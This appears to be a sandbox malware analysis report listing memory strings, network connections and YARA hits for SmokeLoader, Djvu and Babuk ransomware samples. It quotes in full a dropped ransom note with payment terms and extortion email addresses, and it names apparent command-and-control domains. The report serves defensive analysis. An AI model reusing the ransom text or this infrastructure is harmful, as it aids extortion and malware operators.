                          Source: svchost.exe, 00000009.00000003.2310981764.0000018DC8163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310901651.0000018DC813B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310957455.0000018DC8140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310513329.0000018DC784E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf
                          Source: svchost.exe, 00000009.00000002.4441369535.0000018DC88D4000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf3
                          Source: svchost.exe, 00000009.00000003.2310513329.0000018DC784E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310558025.0000018DC8110000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/deviceaddcredential.srf
                          Source: svchost.exe, 00000009.00000002.4435436220.0000018DC7840000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/deviceaddcredential.srfc
                          Source: svchost.exe, 00000009.00000003.2310513329.0000018DC784E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310873866.0000018DC814D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/devicechangecredential.srf
                          Source: svchost.exe, 00000009.00000003.2310513329.0000018DC784E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310873866.0000018DC814D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srf
                          Source: svchost.exe, 00000009.00000003.2310901651.0000018DC813B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435436220.0000018DC7840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310957455.0000018DC8140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310513329.0000018DC784E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/resetpw.srf
                          Source: svchost.exe, 00000009.00000003.2310901651.0000018DC813B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435436220.0000018DC7840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310957455.0000018DC8140000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/retention.srf
                          Source: svchost.exe, 00000009.00000002.4440710403.0000018DC8813000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com:443/RST2.srf
                          Source: svchost.exe, 00000009.00000002.4441005756.0000018DC8860000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com:443/RST2.srfityCRL
                          Source: svchost.exe, 00000009.00000003.2310901651.0000018DC813B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310957455.0000018DC8140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/MSARST2.srf
                          Source: svchost.exe, 00000009.00000003.2310981764.0000018DC8163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435436220.0000018DC7840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310873866.0000018DC814D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceAssociate.srf
                          Source: svchost.exe, 00000009.00000002.4435436220.0000018DC7840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf
                          Source: svchost.exe, 00000009.00000003.2310558025.0000018DC8110000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf:CLSID
                          Source: svchost.exe, 00000009.00000003.2310981764.0000018DC8163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435436220.0000018DC7840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310873866.0000018DC814D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceQuery.srf
                          Source: svchost.exe, 00000009.00000003.2310981764.0000018DC8163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310873866.0000018DC814D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf
                          Source: svchost.exe, 00000009.00000002.4435436220.0000018DC7840000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceUpdate.srfSt
                          Source: svchost.exe, 00000009.00000003.2310981764.0000018DC8163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435436220.0000018DC7840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310873866.0000018DC814D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/EnumerateDevices.srf
                          Source: svchost.exe, 00000009.00000003.2310981764.0000018DC8163000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435436220.0000018DC7840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435522408.0000018DC785E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310873866.0000018DC814D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/ResolveUser.srf
                          Source: svchost.exe, 00000009.00000002.4435436220.0000018DC7840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310558025.0000018DC8110000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceaddmsacredential.srf
                          Source: svchost.exe, 00000009.00000003.2311096718.0000018DC8127000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/devicechangecredential.srfMM
                          Source: svchost.exe, 00000009.00000002.4435436220.0000018DC7840000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/devicechangecredential.srfToken
                          Source: svchost.exe, 00000009.00000002.4435436220.0000018DC7840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310558025.0000018DC8110000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceremovecredential.srf
                          Source: svchost.exe, 00000009.00000003.2310558025.0000018DC8110000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceremovecredential.srfRE
                          Source: BA7B.exe, 00000025.00000002.2853073711.0000000002BD1000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.2925602199.0000000002C91000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://mbappeportal.shop/get/65c4e505302872e0f3bbb578
                          Source: qmgr.db.38.drString found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:
                          Source: explorer.exe, 00000002.00000000.2024953260.0000000009B41000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://outlook.com
                          Source: explorer.exe, 00000002.00000000.2026759557.000000000C460000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://powerpoint.office.comcember
                          Source: 84F5.exe, 0000001D.00000002.2768598570.0000000001951000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://resergvearyinitiani.shop/api
                          Source: 84F5.exe, 0000001D.00000003.2733262118.0000000001968000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2693720803.0000000001968000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2723009346.0000000001968000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000002.2768819569.0000000001968000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2715477905.0000000001968000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2704687266.0000000001968000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://resergvearyinitiani.shop/l
                          Source: 84F5.exe, 0000001D.00000003.2704687266.0000000001980000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://secretionsuitcasenioise.shop/
                          Source: 84F5.exe, 0000001D.00000003.2704687266.0000000001980000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://secretionsuitcasenioise.shop/P61P
                          Source: 84F5.exe, 0000001D.00000003.2715865211.0000000001981000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2715477905.0000000001980000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2704687266.0000000001980000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://secretionsuitcasenioise.shop/api
                          Source: 84F5.exe, 0000001D.00000003.2715865211.0000000001981000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2715477905.0000000001980000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2704687266.0000000001980000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://secretionsuitcasenioise.shop/api1
                          Source: 84F5.exe, 0000001D.00000003.2723340396.0000000001981000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2715865211.0000000001981000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2723009346.0000000001980000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2715477905.0000000001980000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2704687266.0000000001980000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://secretionsuitcasenioise.shop/api1T
                          Source: 84F5.exe, 0000001D.00000003.2704687266.0000000001980000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://secretionsuitcasenioise.shop:443/apit;
                          Source: BA7B.exe, 00000025.00000002.2853073711.00000000030C6000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://sectigo.com/CPS0
                          Source: 78E8.exe.2.drString found in binary or memory: https://sectigo.com/CPS0D
                          Source: svchost.exe, 00000009.00000003.2310901651.0000018DC813B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.4435436220.0000018DC7840000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310957455.0000018DC8140000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310615733.0000018DC8155000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310432414.0000018DC812C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.2310873866.0000018DC814D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://signup.live.com/signup.aspx
                          Source: 3EE1.exe, 00000024.00000002.3146427201.0000000004EB0000.00000004.08000000.00040000.00000000.sdmp, 3EE1.exe, 00000024.00000002.3122886847.00000000036F3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://stackoverflow.com/q/11564914/23354;
                          Source: 3EE1.exe, 00000024.00000002.3146427201.0000000004EB0000.00000004.08000000.00040000.00000000.sdmp, 3EE1.exe, 00000024.00000002.3118264047.00000000026F8000.00000004.00000800.00020000.00000000.sdmp, 3EE1.exe, 00000024.00000002.3118264047.0000000002601000.00000004.00000800.00020000.00000000.sdmp, 3EE1.exe, 00000024.00000002.3122886847.00000000036F3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://stackoverflow.com/q/14436606/23354
                          Source: 3EE1.exe, 00000024.00000002.3146427201.0000000004EB0000.00000004.08000000.00040000.00000000.sdmp, 3EE1.exe, 00000024.00000002.3122886847.00000000036F3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://stackoverflow.com/q/2152978/23354
                          Source: build2.exe, 00000014.00000002.2503033317.00000000020B0000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2623374454.0000000000400000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: https://steamcommunity.com/profiles/76561199631487327
                          Source: build2.exe, 00000015.00000002.2624617563.0000000000809000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t.me/F
                          Source: build2.exe, 00000015.00000002.2624617563.0000000000809000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t.me/K
                          Source: build2.exe, 00000015.00000002.2624617563.0000000000809000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://t.me/newagev
                          Source: build2.exe, 00000014.00000002.2503033317.00000000020B0000.00000040.00001000.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2623374454.0000000000400000.00000040.00000400.00020000.00000000.sdmpString found in binary or memory: https://t.me/newagevpa3shttps://steamcommunity.com/profiles/76561199631487327update.zipMozilla/4.0
                          Source: EE23.exe, 00000011.00000002.4435699034.0000000000811000.00000004.00000020.00020000.00000000.sdmp, EE23.exe, 00000011.00000002.4435699034.00000000007F1000.00000004.00000020.00020000.00000000.sdmp, EE23.exe, 00000012.00000002.4436429533.00000000009B4000.00000004.00000020.00020000.00000000.sdmp, EE23.exe, 00000012.00000002.4436429533.00000000009DD000.00000004.00000020.00020000.00000000.sdmp, EE23.exe, 00000012.00000002.4439698845.00000000030D8000.00000004.00000020.00020000.00000000.sdmp, _README.txt1.18.drString found in binary or memory: https://we.tl/t-hPAqznkJKD
                          Source: build2.exe, 00000015.00000003.2531740487.000000000083D000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000015.00000002.2624617563.0000000000809000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://web.telegram.org
                          Source: explorer.exe, 00000002.00000000.2024953260.00000000099C0000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://wns.windows.com/)s
                          Source: explorer.exe, 00000002.00000000.2024953260.00000000099C0000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: https://word.office.comon
                          Source: 84F5.exe, 0000001D.00000003.2723340396.0000000001981000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2723009346.0000000001980000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2722966576.00000000019EB000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000002.2768598570.0000000001951000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.cloudflare.com/5xx-error-landing
                          Source: 84F5.exe, 0000001D.00000002.2768819569.0000000001980000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2723340396.0000000001981000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2733262118.0000000001980000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2723009346.0000000001980000.00000004.00000020.00020000.00000000.sdmp, 84F5.exe, 0000001D.00000003.2722966576.00000000019EB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.cloudflare.com/learning/ddos/glossary/malware/
                          Source: E5F3.exe, 0000001E.00000003.2993527305.0000000002D9A000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2989615441.0000000003D84000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3086793780.000000000383E000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2993527305.0000000002E5B000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2989615441.0000000003C2B000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2989615441.0000000003DA0000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2989615441.0000000003BDA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
                          Source: E5F3.exe, 0000001E.00000003.2993527305.0000000002D9A000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2989615441.0000000003D84000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000002.3086793780.000000000383E000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2993527305.0000000002E5B000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2989615441.0000000003C2B000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2989615441.0000000003DA0000.00000004.00000800.00020000.00000000.sdmp, E5F3.exe, 0000001E.00000003.2989615441.0000000003BDA000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49744
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49788
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49783
                          Source: unknownNetwork traffic detected: HTTP traffic on port 49789 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 49746 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 49769 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 49807 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49819
                          Source: unknownNetwork traffic detected: HTTP traffic on port 49799 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 49849 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49778
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49732
                          Source: unknownNetwork traffic detected: HTTP traffic on port 49732 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49850
                          Source: unknownNetwork traffic detected: HTTP traffic on port 49788 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 49794 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 49827 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49807
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49849
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49804
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49769
                          Source: unknownNetwork traffic detected: HTTP traffic on port 49790 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 49783 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49764
                          Source: unknownNetwork traffic detected: HTTP traffic on port 49819 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 49764 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 49828 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 49793 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 49850 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 49824 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 49778 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49799
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49796
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49794
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49793
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49792
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49790
                          Source: unknownNetwork traffic detected: HTTP traffic on port 49804 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 49744 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 49796 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 49829 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 49825 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49829
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49828
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49827
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49825
                          Source: unknownNetwork traffic detected: HTTP traffic on port 49792 -> 443
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49824
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49746
                          Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49789
                          Source: unknownHTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.5:49732 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.5:49744 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.5:49746 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 149.154.167.99:443 -> 192.168.2.5:49764 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.5:49769 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.5:49778 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 104.21.94.2:443 -> 192.168.2.5:49783 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 172.67.152.52:443 -> 192.168.2.5:49788 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 46.175.144.56:443 -> 192.168.2.5:49789 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 104.21.16.152:443 -> 192.168.2.5:49790 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 172.67.199.120:443 -> 192.168.2.5:49792 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 154.7.253.53:443 -> 192.168.2.5:49793 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 104.21.83.220:443 -> 192.168.2.5:49794 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 104.21.83.220:443 -> 192.168.2.5:49796 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.5:49799 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 172.67.169.89:443 -> 192.168.2.5:49804 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.5:49807 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 172.67.139.220:443 -> 192.168.2.5:49819 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 172.67.152.52:443 -> 192.168.2.5:49824 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 104.21.16.152:443 -> 192.168.2.5:49825 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 172.67.199.120:443 -> 192.168.2.5:49827 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 104.21.83.220:443 -> 192.168.2.5:49828 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 104.21.83.220:443 -> 192.168.2.5:49829 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 172.67.169.89:443 -> 192.168.2.5:49849 version: TLS 1.2
                          Source: unknownHTTPS traffic detected: 104.21.21.16:443 -> 192.168.2.5:49850 version: TLS 1.2

                          Key, Mouse, Clipboard, Microphone and Screen Capturing

                          barindex
                          Yara detected SmokeLoader
                          Source: Yara matchFile source: 00000004.00000002.2274024832.0000000004731000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 00000000.00000002.2042490053.0000000004841000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 00000004.00000002.2273984194.0000000004710000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 00000000.00000002.2042176202.0000000002E30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                          Source: C:\Users\user\AppData\Local\Temp\EE23.exeCode function: 11_2_004822E0 CreateDCA,CreateCompatibleDC,GetDeviceCaps,GetDeviceCaps,GetDeviceCaps,CreateCompatibleBitmap,SelectObject,GetObjectA,BitBlt,GetBitmapBits,SelectObject,DeleteObject,DeleteDC,DeleteDC,DeleteDC,11_2_004822E0
                          Source: C:\Users\user\AppData\Local\Temp\E5F3.exeWindow created: window name: CLIPBRDWNDCLASS

                          Spam, unwanted Advertisements and Ransom Demands

                          barindex
                          Found ransom note / readme
                          Source: C:\_README.txtDropped file: ATTENTION!Don't worry, you can return all your files!All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.The only method of recovering files is to purchase decrypt tool and unique key for you.This software will decrypt all your encrypted files.What guarantees you have?You can send one of your encrypted file from your PC and we decrypt it for free.But we can decrypt only 1 file for free. File must not contain valuable information.Do not ask assistants from youtube and recovery data sites for help in recovering your data.They can use your free decryption quota and scam you.Our contact is emails in this text document only.You can get and look video overview decrypt tool:https://we.tl/t-hPAqznkJKDPrice of private key and decrypt software is $999.Discount 50% available if you contact us first 72 hours, that's price for you is $499.Please note that you'll never restore your data without payment.Check your e-mail "Spam" or "Junk" folder if you don't get answer more than 6 hours.To get this software you need write on our e-mail:support@freshingmail.topReserve e-mail address to contact us:datarestorehelpyou@airmail.ccYour personal ID:0849ASdw8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCwJump to dropped file
                          Yara detected Babuk Ransomware
                          Source: Yara matchFile source: Process Memory Space: EE23.exe PID: 3560, type: MEMORYSTR
                          Source: Yara matchFile source: Process Memory Space: EE23.exe PID: 5876, type: MEMORYSTR
                          Yara detected Djvu Ransomware
                          Source: Yara matchFile source: 10.2.EE23.exe.49915a0.1.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 10.2.EE23.exe.49915a0.1.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 22.2.EE23.exe.49715a0.1.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 25.2.EE23.exe.400000.0.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 16.2.EE23.exe.49c15a0.1.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 23.2.EE23.exe.400000.0.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 15.2.EE23.exe.49e15a0.1.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 25.2.EE23.exe.400000.0.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 23.2.EE23.exe.400000.0.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 17.2.EE23.exe.400000.0.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 22.2.EE23.exe.49715a0.1.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 15.2.EE23.exe.49e15a0.1.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 17.2.EE23.exe.400000.0.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 11.2.EE23.exe.400000.0.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 18.2.EE23.exe.400000.0.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 24.2.EE23.exe.4a815a0.1.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 16.2.EE23.exe.49c15a0.1.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 24.2.EE23.exe.4a815a0.1.raw.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 18.2.EE23.exe.400000.0.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 11.2.EE23.exe.400000.0.unpack, type: UNPACKEDPE
                          Source: Yara matchFile source: 0000000A.00000002.2397921937.0000000004990000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 00000018.00000002.2615418676.0000000004A80000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 00000011.00000002.4433775392.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 0000000F.00000002.2432143870.00000000049E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 00000016.00000002.2534321369.0000000004970000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 00000010.00000002.2429235251.00000000049C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 0000000B.00000002.2423355018.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 00000019.00000002.2626230115.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 00000012.00000002.4433963494.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: 00000017.00000002.2543816835.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                          Source: Yara matchFile source: Process Memory Space: EE23.exe PID: 1784, type: MEMORYSTR
                          Source: Yara matchFile source: Process Memory Space: EE23.exe PID: 2284, type: MEMORYSTR
                          Source: Yara matchFile source: Process Memory Space: EE23.exe PID: 5968, type: MEMORYSTR
                          Source: Yara matchFile source: Process Memory Space: EE23.exe PID: 5644, type: MEMORYSTR
